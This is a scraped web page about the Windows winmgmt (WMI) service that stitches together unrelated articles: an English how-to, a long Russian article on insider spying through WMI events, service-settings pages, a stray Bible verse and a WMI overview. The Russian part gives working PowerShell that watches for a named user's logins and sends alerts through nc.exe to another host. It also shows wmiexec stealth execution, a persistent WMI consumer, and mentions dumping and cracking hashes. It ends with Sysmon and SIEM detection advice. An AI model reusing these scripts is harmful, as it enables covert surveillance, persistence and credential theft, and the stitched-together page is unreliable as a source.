Winmgmt что это за служба windows 10

  • Home
  • News
  • What Is Windows Management Instrumentation Service (WMIS)?

By Aurelie | Follow |
Last Updated

Windows Management Instrumentation may sound strange to you, but it is an indispensable part of your Windows. Therefore, it is necessary to master some basic concepts about it. Follow this guide on MiniTool Website, you will be enlightened.

What Is Windows Management Instrumentation Service? 

Windows Management Instrumentation also called WMI, is a set of specifications from Microsoft which can be used to consolidate the management of applications and devices in a network. WMI runs as a service and the service is called Windows Management Instrumentation Service.

If you need to manage different Windows operating environments including remote systems, Windows Management Instrumentation Service is a good choice. What’s more, it can reduce the maintenance and the cost of managing enterprise network components.

How to Start /Stop Windows Management Instrumentation Service?

The winmgmt.exe service permits WMI to run on a local PC. What’s more, WMI starts automatically at system startup or it is initiated automatically when the first management/monitoring application or script seeks a connection to the WMI namespace.

Here’s how to start Windows Management Instrumentation Service:

Step 1. Press Win + S at the same time to evoke the search bar.

Step 2. Type cmd to locate Command Prompt and right-click on it to choose Run as administrator.

Step 3. Copy & paste net start winmgmt and hit Enter.

start winmgmt

Tips:

Other services which are dependent on Windows Management Instrumentation Service like SMS Agent Host or Windows Firewall, will not automatically be initiated automatically.

As for stopping Windows Management Instrumentation Service, follow the next guidelines:

Step 1. Run Command Prompt as an administrator.

Step 2. Type the following command and don’t forget to hit Enter.

net stop winmgmt

stop winmgmt

Tips:

Any services that are dependent on Windows Management Instrumentation Service will also stop, such as SMS Agent Host or Windows Firewall.

How to Repair Windows Management Instrumentation Service?

Due to various reasons such as system configuration not being configured properly, Windows Management Instrumentation Service failed or it didn’t respond. Don’t worry, repairing it is not difficult. Follow the steps below:

Way 1: Access the WMI Logs and Clear Them

Step 1. Go to Control Panel > System and Security > Administrative Tools.

Step 2. In the Administrative Tools window, scroll down to find Event Viewer and double-click on it.

Step 3. In the left pane, expand Windows Logs and right-click on System to select Clear Log in the drop-down menu.

hit Clear Log

Step 4. As soon as the event log appears, right-click on the system icon and select Clear all Events.

Step 5. After pressing Clear all Events, you will see a message saying You can save the contents of this log before clearing it. Hit Save and Clear to save the log file and then clear it.

Way 2: Delete the Damaged Files and Reactivate the Service

Step 1. Go to Control Panel > System and Security > Administrative Tools.

Step 2. Scroll down to find Service and right-click on it.

Step 3. In Services, right-click on Windows Management Instrumentation to choose Properties.

Step 4. In General, stop the Service status.

stop the service

Step 5. After the service and its related services are stopped, go this path – C:\Windows\System32\webm\Repository and right-click on it to select Delete.

Step 6. Reboot your computer and then it will force the recreation of the necessary for the service.

About The Author

Position: Columnist

Aurelie is a passionate soul who always enjoys researching & writing articles and solutions to help others. Her posts mainly cover topics related to games, data backup & recovery, file sync and so on. Apart from writing, her primary interests include reading novels and poems, travelling and listening to country music.

Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.

Краткий обзор: что такое WMI и для чего он нужен?

Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.

В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.

Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:

Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\\Users\\lex\\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action 

Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

  • для сбора информации о статусе локальных и удаленных компьютерных систем
  • настройки параметров безопасности для удаленных компьютеров и приложений
  • настройки и редактирования свойств системы
  • настройки и редактирования разрешений для авторизованных пользователей и групп
  • выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
  • назначения и редактирования меток дисков
  • создания графика выполнения процессов
  • резервного копирования репозиториев объектов
  • включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Архитектура инструментария управления Windows

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

  • Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
  • Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
  • Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
  • Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
  • Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
  • Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
  • Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
  • API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
  • Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

  1. Откройте командную строку
  2. Введите WMIC для вызова программы и нажмите клавишу Enter
  3. Появится окно командной строки WMIC
  4. В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
    WMIC CPU

  5. Результаты будут отображены в командной строке

Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.

Практикум по использованию событий WMI для наблюдения за системой

В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.

Использование функциональности wmiexec из Impacket

В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?

Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.

Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.

Скрытая псевдооболочка, созданная с помощью wmiexec

К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.

Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows

Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!

Использование событий WMI для наблюдения за пользователями

Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.

В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.

Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.

Вот что я набросал:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.

Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.

Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {

$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){

    if ($user -eq "cruella") {

        echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
    }
}


}

Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.

Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.

В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}

Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Почему при наблюдении нужно использовать постоянные события?

Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.

Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.

Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.

Постоянные события: советы для ИТ-администраторов

Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{

EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}


$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:\users\lex\Documents\nc.exe 172.31.45.240 10000}}}"


$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command

}

Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.

В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.

Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.

Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.

Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?

Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:

Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.

Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:

Удаление постоянных событий WMI включает использование конвейера PowerShell

Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

Заключение

Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.

Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.

Provides a common interface and object model to access management information about operating system, devices, applications and services. If this service is stopped, most Windows-based software will not function properly. If this service is disabled, any services that explicitly depend on it will fail to start.

This service also exists in Windows 11, 8, Vista and XP.

Startup Type

Windows 10 version Home Pro Education Enterprise
1507 Automatic Automatic Automatic Automatic
1511 Automatic Automatic Automatic Automatic
1607 Automatic Automatic Automatic Automatic
1703 Automatic Automatic Automatic Automatic
1709 Automatic Automatic Automatic Automatic
1803 Automatic Automatic Automatic Automatic
1809 Automatic Automatic Automatic Automatic
1903 Automatic Automatic Automatic Automatic
1909 Automatic Automatic Automatic Automatic
2004 Automatic Automatic Automatic Automatic
20H2 Automatic Automatic Automatic Automatic
21H1 Automatic Automatic Automatic Automatic
21H2 Automatic Automatic Automatic Automatic
22H2 Automatic Automatic Automatic Automatic

Default Properties

Display name: Windows Management Instrumentation
Service name: winmgmt
Type: share
Path: %WinDir%\system32\svchost.exe -k netsvcs -p
File: %WinDir%\system32\wbem\WMIsvc.dll
Error control: ignore
Object: localSystem

Default Behavior

The Windows Management Instrumentation service is running as localSystem in a shared process of svchost.exe. Other services might run in the same process. If Windows Management Instrumentation fails to load or initialize, Windows 10 start up proceeds. No warning is displayed, but the error is recorded into the Event Log.

Dependencies

Windows Management Instrumentation is unable to start, if the Remote Procedure Call (RPC) service is stopped or disabled.

If Windows Management Instrumentation is stopped, the following services cannot start:

  • Internet Connection Sharing (ICS)
  • IP Helper
  • Security Center

Restore Default Startup Type of Windows Management Instrumentation

Automated Restore

1. Select your Windows 10 edition and release, and then click on the Download button below.

2. Save the RestoreWindowsManagementInstrumentationWindows10.bat file to any folder on your hard drive.

3. Right-click the downloaded batch file and select Run as administrator.

4. Restart the computer to save changes.

Note. Make sure that the WMIsvc.dll file exists in the %WinDir%\system32\wbem folder. If this file is missing you can try to restore it from your Windows 10 installation media.

Yea, though I walk through the valley of the shadow of death, I will fear no evil: for thou art with me; thy rod and thy staff they comfort me.

Provides a common interface and object model to access management information about operating system, devices, applications and services. If this service is stopped, most Windows-based software will not function properly. If this service is disabled, any services that explicitly depend on it will fail to start.

Default Settings

Startup type: Automatic
Display name: Windows Management Instrumentation
Service name: winmgmt
Service type: share
Error control: ignore
Object: localSystem
Path: %SystemRoot%\system32\svchost.exe -k netsvcs -p
File: %SystemRoot%\system32\wbem\WMIsvc.dll
Registry key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\winmgmt

Default Behavior

Windows Management Instrumentation is a Win32 service. In Windows 10 it is starting automatically when the operating system starts. Then the Windows Management Instrumentation service is running as localSystem in a shared process of svchost.exe along with other services. If Windows Management Instrumentation fails to load or initialize, Windows 10 start up proceeds without warnings. However the error details are being logged.

Dependencies

Windows Management Instrumentation cannot be started under any conditions, if the Remote Procedure Call (RPC) service is disabled.

While Windows Management Instrumentation is stopped, disabled or working incorrectly, the following services do not start:

  • Internet Connection Sharing (ICS)
  • IP Helper
  • Security Center

Restore Default Startup Configuration of Windows Management Instrumentation

Before you begin doing this, make sure that all the services on which Windows Management Instrumentation depends are configured by default and function properly. See the list of dependencies above.

1. Run the Command Prompt as an administrator.

2. Copy the commands below, paste them into the command window and press ENTER:

sc config winmgmt start= auto

sc start winmgmt

3. Close the command window and restart the computer.

The winmgmt service is using the WMIsvc.dll file that is located in the C:\Windows\system32\wbem directory. If the file is removed or corrupted, read this article to restore its original version from Windows 10 installation media.

Windows Management Instrumentation (WMI) is a set of specifications from Microsoft for consolidating the management of devices and applications in a network from Windows computing systems. WMI provides users with information about the status of local or remote computer systems.

The purpose of WMI is to help administrators manage different Windows operational environments, including remote systems. One big advantage of WMI is that it reduces maintenance and the cost of managing enterprise network components.

WMI comes pre-installed on Microsoft’s newest operating systems. The vendor provided a command-line interface (CLI) for WMI known as WMI Command Line (WMIC) in OSs before Windows 10. WMIC is compatible with existing shells and utility commands in these previous versions of Windows.

WMI as an implementation of WBEM

WMI is Microsoft’s implementation of the Web-Based Enterprise Management (WBEM) initiative for supported Windows platforms. WBEM is an industry-wide initiative to develop management infrastructure standards to access and combine information from various hardware and software management systems in an enterprise IT environment.

WBEM is built on the Common Information Model (CIM) schema, a computer industry standard for defining device and application characteristics. CIM enables system administrators and management programs to control devices and applications from multiple manufacturers or sources. It is driven by DMTF (formerly known as the Distributed Management Task Force).

A deep dive into WMI

WMI provides users with a consistent model of Windows operation, configuration and status in enterprise networks. It provides a COM API that allows access to management information about the status of local or remote computer systems. Remote WMI connections are made through the Distributed Component Object Model (DCOM).

A WMI toolkit provides different extensions of the Windows Driver Model. This model provides an operating system interface for crucial information and different types of notifications.

Developers and IT administrators can write WMI scripts or applications to automate administrative tasks on remote computers. There is no need to download or install a specific software development kit (SDK) to create these scripts or applications. Management applications or scripts can perform operations or get data through WMI in a variety of programming languages.

In addition to supporting scripts, WMI also supplies management data to other parts of the operating system and products, including Microsoft System Center Operations Manager (SCOM) and Windows Remote Management (WinRM).

WMI supports actions such as the:

  • Configuration of security settings
  • Setting and changing system properties
  • Setting and changing permissions for authorized users and user groups
  • Assigning and changing drive labels
  • Scheduling processes to run at specific times
  • Backing up the object repository
  • Enabling or disabling error logging

Windows Management Instrumentation architecture

WMI provides a uniform interface so that WMI client applications and scripts do not have to call multiple system APIs. Also, its flexible and extensible architecture provides support for new devices, applications, and other enhancements.

The three core elements of the WMI architecture are:

  1. Management infrastructure
  • CIM Object Manager (CIMOM), which provides applications with a uniform way to access management data
  • CIMOM object repository, a central storage area for management data
  1. WMI providers
  • Intermediaries between CIMOM and managed objects
  • Key functions:
    • WMI APIs supply CIMOM with data from managed objects
    • Handles requests on behalf of management applications
    • Generates event notifications
